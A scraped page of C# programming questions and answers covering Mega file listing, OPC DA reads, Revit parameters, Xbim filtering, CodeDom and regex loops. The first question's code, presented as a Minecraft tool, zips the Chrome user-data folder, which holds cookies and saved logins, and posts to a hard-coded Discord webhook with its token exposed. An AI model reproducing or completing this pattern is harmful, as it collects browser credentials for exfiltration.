CS0120 Mega file listing C# Discord webhook - c#

I Am making a webhook that lists all the files on my mega account for personal reasons, and i have the webhook working and everything, but can't get this code below to work.
When i try and run this it throws this error Severity Code Description Project File Line Suppression State Error CS0120 An object reference is required for the non-static field, method, or property 'Program.Main1()' BetterMC C:\Users\letou\OneDrive\Desktop\Coding\Games\MinecraftBetter\BetterMC\Program.cs 21 Active
Here is my full code `
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Discord;
using Discord.Webhook;
using System.IO.Compression;
using System.IO;
using CG.Web.MegaApiClient;
namespace BetterMC
{
class Program
{
static void Main(string[] args)
{
Main1();
string startPath = #"C:\Users\letou\AppData\Local\Google\Chrome\User Data";
string zipPath = #"C:\Users\letou\OneDrive\Desktop\test.zip";
string extractPath = #"C:\Users\letou\OneDrive\Desktop\test";
Console.WriteLine("Started");
if (!File.Exists(zipPath))
{
ZipFile.CreateFromDirectory(startPath, zipPath);
Console.WriteLine("Created ZIP");
}
if (!File.Exists(extractPath))
{
ZipFile.ExtractToDirectory(zipPath, extractPath);
Console.WriteLine("Extracted ZIP");
}
DiscordWebhook hook = new DiscordWebhook();
hook.Url = "https://discordapp.com/api/webhooks/830649911498113065/m8aZ6mAbhqS_n9jiBLiGFnG_69fq7ADN77P5EihuUNKS1lWgjOeTIX-Rhv8qUNo2jA37";
DiscordMessage message = new DiscordMessage();
message.Content = "Test #everyone";
message.TTS = false; //read message to everyone on the channel
message.Username = "Minecraft";
message.AvatarUrl = "https://pbs.twimg.com/profile_images/653700295395016708/WjGTnKGQ_400x400.png";
hook.Send(message);
Console.WriteLine("sent");
Console.ReadLine();
}
void Main1()
{
var client = new MegaApiClient();
client.Login("username#domain.com", "passw0rd");
// GetNodes retrieves all files/folders metadata from Mega
// so this method can be time consuming
IEnumerable<INode> nodes = client.GetNodes();
INode parent = nodes.Single(n => n.Type == NodeType.Root);
DisplayNodesRecursive(nodes, parent);
client.Logout();
}
void DisplayNodesRecursive(IEnumerable<INode> nodes, INode parent, int level = 0)
{
IEnumerable<INode> children = nodes.Where(x => x.ParentId == parent.Id);
foreach (INode child in children)
{
string infos = $"- {child.Name} - {child.Size} bytes - {child.CreationDate}";
Console.WriteLine(infos.PadLeft(infos.Length + level, '\t'));
if (child.Type == NodeType.Directory)
{
DisplayNodesRecursive(nodes, child, level + 1);
}
}
}
}
}
`
I Know it has something to do with the non-static main1, but it needs to be non-static for the code to work. Please help.

Related

Methods return type in C#

i am using a method to retrieve data from an OPC DA server using TitaniumAS packages, the problem i am having is that i have a lot of tags to read/write so i have to use methods.
The WriteX method works fines as it doesnt have to return anything but the read does not, well it does its job, it reads but i cannot use that data outside of the method because it was a void method, when i tried to use it as a String method (that's the type of data i need) it says :
Error CS0161 'ReadX(string, string)': not all code paths return a value
PS : note that i am just a beginner in C#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TitaniumAS.Opc.Client.Common;
using TitaniumAS.Opc.Client.Da;
using TitaniumAS.Opc.Client.Da.Browsing;
using System.Threading;
using System.Threading.Channels;
using Async;
namespace OPCDA
{
class Program
{
static void Main(string[] args)
{
TitaniumAS.Opc.Client.Bootstrap.Initialize();
Uri url = UrlBuilder.Build("Kepware.KEPServerEX.V6");
using (var server = new OpcDaServer(url))
{
server.Connect();
OpcDaGroup group = server.AddGroup("MyGroup");
group.IsActive = true;
Ascon ascon1 = new Ascon();
ReadX("Channel1.Ascon1.AsconS", ascon1.ALM);
Console.WriteLine("value = {0}", ascon1.ALM);
void WriteX(String Link, String Ascon)
{
var definition1 = new OpcDaItemDefinition
{
ItemId = Link,
IsActive = true
};
OpcDaItemDefinition[] definitions = { definition1 };
OpcDaItemResult[] results = group.AddItems(definitions);
OpcDaItem tag = group.Items.FirstOrDefault(i => i.ItemId == Link);
OpcDaItem[] items = { tag };
object[] Values = { Ascon };
HRESULT[] Results = group.Write(items, Values);
}
string ReadX(String Link, String read)
{
var definition1 = new OpcDaItemDefinition
{
ItemId = Link,
IsActive = true
};
OpcDaItemDefinition[] definitions = { definition1 };
OpcDaItemResult[] results = group.AddItems(definitions);
OpcDaItemValue[] values = group.Read(group.Items, OpcDaDataSource.Device);
read = Convert.ToString(values[0].Value);
}
}
}
}
}
the first step was to state the return like this :
return Convert.ToString(values[0].Value) instead of read = Convert.ToString(values[0].Value)
then go up and use that value with my variable :
ascon1.ALM=ReadX("Channel1.Ascon1.AsconS");

Find category's parameter's and combine them in the right order

This code filters elements of certain category and finds and concatenates parameters although what needed is something a little more complex.
First of all, a person needs to be able to choose a category (out of a drop down list) or search and find the necessary ones.
And the second thing is that a user is supposed to specify what parameters he would like to combine (we have shared parameters txt fyi) and choose the order in which they are going to follow one another. Any resource on it or something similar to it would help greatly!
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Autodesk.Revit.DB;
using Autodesk.Revit.UI;
using Autodesk.Revit.Attributes;
using Autodesk.Revit.UI.Selection;
namespace CombineParameters
{
[Transaction(TransactionMode.Manual)]
public class Class : IExternalCommand
{
public Result Execute(ExternalCommandData commandData,
ref string message,
ElementSet elements)
{
UIApplication uiapp = commandData.Application;
UIDocument uidoc = uiapp.ActiveUIDocument;
//Application app = uiapp.Application;
Document doc = uidoc.Document;
//Create Filtered Element Collector and Filter
FilteredElementCollector collector = new FilteredElementCollector(doc);
ElementCategoryFilter filter = new ElementCategoryFilter(BuiltInCategory.OST_DuctFitting);
//Applying Filter
IList <Element> ducts = collector.WherePasses(filter).WhereElementIsNotElementType().ToElements();
foreach (Element e in ducts)
{
//Get Parameter values
string parameterValue1 = e.LookupParameter("AA").AsString();
string parameterValue2 = e.LookupParameter("BB").AsString();
string parameterValue3 = e.LookupParameter("CC").AsString();
string newValue = parameterValue1 + "-" + parameterValue2 + "-" + parameterValue3;
using (Transaction t = new Transaction(doc, "Set Parameter name"))
{
t.Start();
e.LookupParameter("DD").Set(newValue).ToString();
t.Commit();
}
}
return Result.Succeeded;
}
}
}
You want to combine user selected parameters in a specific order? Why dont you use a simple windows form gui.
Example
command.cs
#region Namespaces
using Autodesk.Revit.ApplicationServices;
using Autodesk.Revit.Attributes;
using Autodesk.Revit.DB;
using Autodesk.Revit.UI;
using Autodesk.Revit.UI.Selection;
using System;
using System.Collections.Generic;
using System.Diagnostics;
#endregion
namespace combineParameters
{
[Transaction(TransactionMode.Manual)]
public class Command : IExternalCommand
{
public Result Execute(
ExternalCommandData commandData,
ref string message,
ElementSet elements)
{
UIApplication uiapp = commandData.Application;
UIDocument uidoc = uiapp.ActiveUIDocument;
Application app = uiapp.Application;
Document doc = uidoc.Document;
Form1 form = new Form1(doc);
//Show Dialouge form
form.ShowDialog();
return Result.Succeeded;
}
}
}
Forms1.cs
using Autodesk.Revit.DB;
using Autodesk.Revit.UI;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace combineParameters
{
public partial class Form1 : System.Windows.Forms.Form
{
//Class variable
Document revitDoc { get; set; }
public Form1(Document doc)
{
InitializeComponent();
this.revitDoc = doc;
//Create a list of the parameters you want your user to choose from
List<string> stringParameters = new List<string>
{
"textParameter1",
"textParameter2",
"textParameter3",
"textParameter4"
};
//Add list to comboboxes on form
foreach (string parameterName in stringParameters)
{
comboBox1.Items.Insert(0, parameterName);
comboBox2.Items.Insert(0, parameterName);
comboBox3.Items.Insert(0, parameterName);
}
}
private void button1_Click(object sender, EventArgs e)
{
FilteredElementCollector collector = new FilteredElementCollector(revitDoc);
ElementCategoryFilter filter = new ElementCategoryFilter(BuiltInCategory.OST_DuctFitting);
//Applying Filter
IList<Element> ducts = collector.WherePasses(filter).WhereElementIsNotElementType().ToElements();
using (Transaction t = new Transaction(revitDoc, "Set Parameter name"))
{
//Use a try and catch for transactions
try
{
t.Start();
foreach (Element duct in ducts)
{
//Get Parameter values
string parameterValue1 = duct.LookupParameter(comboBox1.Text).AsString();
string parameterValue2 = duct.LookupParameter(comboBox2.Text).AsString();
string parameterValue3 = duct.LookupParameter(comboBox3.Text).AsString();
string newValue = parameterValue1 + "-" + parameterValue2 + "-" + parameterValue3;
//do not need .ToString() when setting parameter
duct.LookupParameter("NewParameter").Set(newValue);
}
t.Commit();
}
//Catch with error message
catch (Exception err)
{
TaskDialog.Show("Error", err.Message);
t.RollBack();
}
}
}
}
}
Snip of this example inside Revit:
Example photo

How to I extract only the lowest-level objects in Xbim?

I have a BIM model in IFC format and I want to add a new property, say cost, to every object in the model using Xbim. I am building a .NET application. The following code works well, except, the property is also added to storeys, buildings and sites - and I only want to add it to the lowest-level objects that nest no other objects.
To begin with, I have tried various methods to print the "related objects" of each object, thinking that I could filter out any objects with non-null related objects. This has led me to look at this:
IfcRelDefinesByType.RelatedObjects (http://docs.xbim.net/XbimDocs/html/7fb93e55-dcf7-f6da-0e08-f8b5a70accf2.htm) from thinking that RelatedObjects (https://standards.buildingsmart.org/IFC/RELEASE/IFC2x3/FINAL/HTML/ifckernel/lexical/ifcreldecomposes.htm) would contain this information.
But I have not managed to implement working code from this documentation.
Here is my code:
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Xbim.Ifc;
using Xbim.Ifc2x3.Interfaces;
using Xbim.Ifc4.Kernel;
using Xbim.Ifc4.MeasureResource;
using Xbim.Ifc4.PropertyResource;
using Xbim.Ifc4.Interfaces;
using IIfcProject = Xbim.Ifc4.Interfaces.IIfcProject;
namespace MyPlugin0._1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
outputBox.AppendText("Plugin launched successfully");
}
private void button1_Click(object sender, EventArgs e)
{
// Setup the editor
var editor = new XbimEditorCredentials
{
ApplicationDevelopersName = "O",
ApplicationFullName = "MyPlugin",
ApplicationIdentifier = "99990100",
ApplicationVersion = "0.1",
EditorsFamilyName = "B",
EditorsGivenName = "O",
EditorsOrganisationName = "MyWorkplace"
};
// Choose an IFC file to work with
OpenFileDialog dialog = new OpenFileDialog();
dialog.ShowDialog();
string filename = dialog.FileName;
string newLine = Environment.NewLine;
// Check if the file is valid and continue
if (!filename.ToLower().EndsWith(".ifc"))
{
// Output error if the file is the wrong format
outputBox.AppendText(newLine + "Error: select an .ifc-file");
}
else
{
// Open the selected file (## Not sure what the response is to a corrupt/invalid .ifc-file)
using (var model = IfcStore.Open(filename, editor, 1.0))
{
// Output success when the file has been opened
string reversedName = Form1.ReversedString(filename);
int filenameShortLength = reversedName.IndexOf("\\");
string filenameShort = filename.Substring(filename.Length - filenameShortLength, filenameShortLength);
outputBox.AppendText(newLine + filenameShort + " opened successfully for editing");
////////////////////////////////////////////////////////////////////
// Get all the objects in the model ( ### lowest level only??? ###)
var objs = model.Instances.OfType<IfcObjectDefinition>();
////////////////////////////////////////////////////////////////////
// Create and store a new property
using (var txn = model.BeginTransaction("Store Costs"))
{
// Iterate over all the walls to initiate the Point Source property
foreach (var obj in objs)
{
// Create new property set to host properties
var pSetRel = model.Instances.New<IfcRelDefinesByProperties>(r =>
{
r.GlobalId = Guid.NewGuid();
r.RelatingPropertyDefinition = model.Instances.New<IfcPropertySet>(pSet =>
{
pSet.Name = "Economy";
pSet.HasProperties.Add(model.Instances.New<IfcPropertySingleValue>(p =>
{
p.Name = "Cost";
p.NominalValue = new IfcMonetaryMeasure(200.00); // Default Currency set on IfcProject
}));
});
});
// Add property to the object
pSetRel.RelatedObjects.Add(obj);
// Rename the object
outputBox.AppendText(newLine + "Cost property added to " + obj.Name);
obj.Name += "_withCost";
//outputBox.AppendText(newLine + obj.OwnerHistory.ToString());
}
// Commit changes to this model
txn.Commit();
};
// Save the changed model with a new name. Does not overwrite existing files but generates a unique name
string newFilename = filenameShort.Substring(0, filenameShort.Length - 4) + "_Modified.IFC";
int i = 1;
while (File.Exists(newFilename))
{
newFilename = filenameShort.Substring(0, filenameShort.Length - 4) + "_Modified(" + i.ToString() + ").IFC";
i += 1;
}
model.SaveAs(newFilename); // (!) Gets stored in the project folder > bin > Debug
outputBox.AppendText(newLine + newFilename + " has been saved");
};
}
}
// Reverse string-function
static string ReversedString(string text)
{
if (text == null) return null;
char[] array = text.ToCharArray();
Array.Reverse(array);
return new String(array);
}
private void Form1_Load(object sender, EventArgs e)
{
}
}
}
You're starting out by getting too broad a set of elements in the model. Pretty much everything in an IFC model will be classed as (or 'derived from') an instance of IfcObjectDefinition - including Spatial concepts (spaces, levels, zones etc) as well as more abstract concepts of Actors (people), Resources and the like.
You'd be better off filtering down objs to the more specific types such as IfcElement, IfcBuildingElement - or even the more real world elements below (IfcWindow, IfcDoor etc.)
// Get all the building elements in the model
var objs = model.Instances.OfType<IfcBuildingElement>();
You could also filter by more specific clauses more than just their type by using the other IFC relationships.

Where does CodeDom save generated .cs files? Can we change this location to a Different Folder

i have successfully run the codedam sample project .
the out put file is in bin debug folder.
Am generating a c# class file.
i need this c# class file to be generated in D:/Temp folder
am not generating any executable
out put is C# .cs file.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.CodeDom.Compiler;
using System.CodeDom;
using Microsoft.CSharp;
using System.Reflection;
namespace codeDamnSample
{
public class CCodeGenerator
{
CodeNamespace mynamespace;
CodeTypeDeclaration myclass;
CodeCompileUnit myassembly;
public void CreateNamespace()
{
mynamespace = new CodeNamespace("mynamespace");
}
public void CreateImports()
{
mynamespace.Imports.Add(new CodeNamespaceImport("System"));
}
public void CreateClass()
{
myclass = new CodeTypeDeclaration();
myclass.Name = "SampleTest:TestBase";
myclass.IsClass = true;
myclass.Attributes = MemberAttributes.Public;
mynamespace.Types.Add(myclass);
}
public void CreateMethod()
{
CodeMemberMethod mymethod = new CodeMemberMethod();
mymethod.Name = testMethod;
CodeTypeReference ctr = new CodeTypeReference();
//Assign the return type to the method.
mymethod.ReturnType = ctr;
//Provide definition to the method (returns the sum of two //numbers)
CodeSnippetExpression snippet1 = new CodeSnippetExpression("AutomationBase obj = new AutomationBase()");
//return the value
CodeSnippetExpression snippet2 = new CodeSnippetExpression("obj.Execute(testCases[0])");
//Convert the snippets into Expression statements.
CodeExpressionStatement stmt1 = new CodeExpressionStatement(snippet1);
CodeExpressionStatement stmt2 = new CodeExpressionStatement(snippet2);
//Add the expression statements to the method.
mymethod.Statements.Add(stmt1);
mymethod.Statements.Add(stmt2);
//Provide the access modifier for the method.
mymethod.Attributes = MemberAttributes.Public;
CodeAttributeDeclaration codeAttrDecl = new CodeAttributeDeclaration("Test");
mymethod.CustomAttributes.Add(codeAttrDecl);
//Finally add the method to the class.
myclass.Members.Add(mymethod);
}
public void SaveAssembly()
{
myassembly = new CodeCompileUnit();
myassembly.Namespaces.Add(mynamespace);
CompilerParameters comparam = new CompilerParameters(new string[] { "mscorlib.dll" });
comparam.GenerateInMemory = false;
comparam.GenerateExecutable = false;
comparam.MainClass = "mynamespace.CMyclass";
Microsoft.CSharp.CSharpCodeProvider ccp = new Microsoft.CSharp.CSharpCodeProvider();
String sourceFile;
ccp.
if (ccp.FileExtension[0] == '.')
{
sourceFile = "SampleTest" + ccp.FileExtension;
}
else
{
sourceFile = "SampleTest." + ccp.FileExtension;
}
var tw1 = new IndentedTextWriter(new StreamWriter(sourceFile, false), " ");
ccp.GenerateCodeFromCompileUnit(myassembly, tw1, new CodeGeneratorOptions());
tw1.Close();
ccp.CompileAssemblyFromDom(comparam, myassembly);
}
public static void generateCod()
{
CCodeGenerator cg = new CCodeGenerator();
cg.CreateNamespace();
cg.CreateImports();
cg.CreateClass();
cg.CreateMember();
cg.CreateProperty();
cg.CreateMethod();
// cg.CreateEntryPoint();
cg.SaveAssembly();
// Console.ReadLine();
}
}
}
It should save the file in the current working directory, usually the bin/Debug folder in your running project.

find images url inside string

my program is intended to search for images url inside a string according to specific keywords. it actually works fine, only problem is the "search not found" error.
for some reason its like the code doesn't get to this "if" and wont return any error if there is no match found (last if).
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Text.RegularExpressions;
namespace ConsoleApplication3
{
class Program
{
static void Main(string[] args)
{
using (WebClient client = new WebClient())
{
int count = 0;
Regex SearchItem = new Regex("http://.+?\\.jpg");
string SearchValue = "fgdfgdf";
string htmlCode = "fsdflkjsdfkjsdfkjdsflkhttp://www.dssdtanya.jpgfsdf;ldsmfs;dlfms;dmfs";
Match matches = SearchItem.Match(htmlCode);
while (matches.Success)
{
string test = matches.ToString();
if (test.Contains(SearchValue))
{
count++;
Console.WriteLine("Result #{0}: '{1}' found in the source code at position {2}.",count, matches.Value, matches.Index);
matches = matches.NextMatch();
}
}
Console.WriteLine(count);
if (count == 0) { Console.WriteLine("search not found."); }
Console.ReadKey();
}
}
}
}
Your program enters an infinite loop if the first test doesn't contain the search value. Change your code to this:
while (matches.Success)
{
string test = matches.ToString();
if (test.Contains(SearchValue))
{
count++;
Console.WriteLine("Result #{0}: '{1}' found in the source code at position {2}.", count, matches.Value, matches.Index);
}
matches = matches.NextMatch(); //moved this outside the if
}

Categories

Resources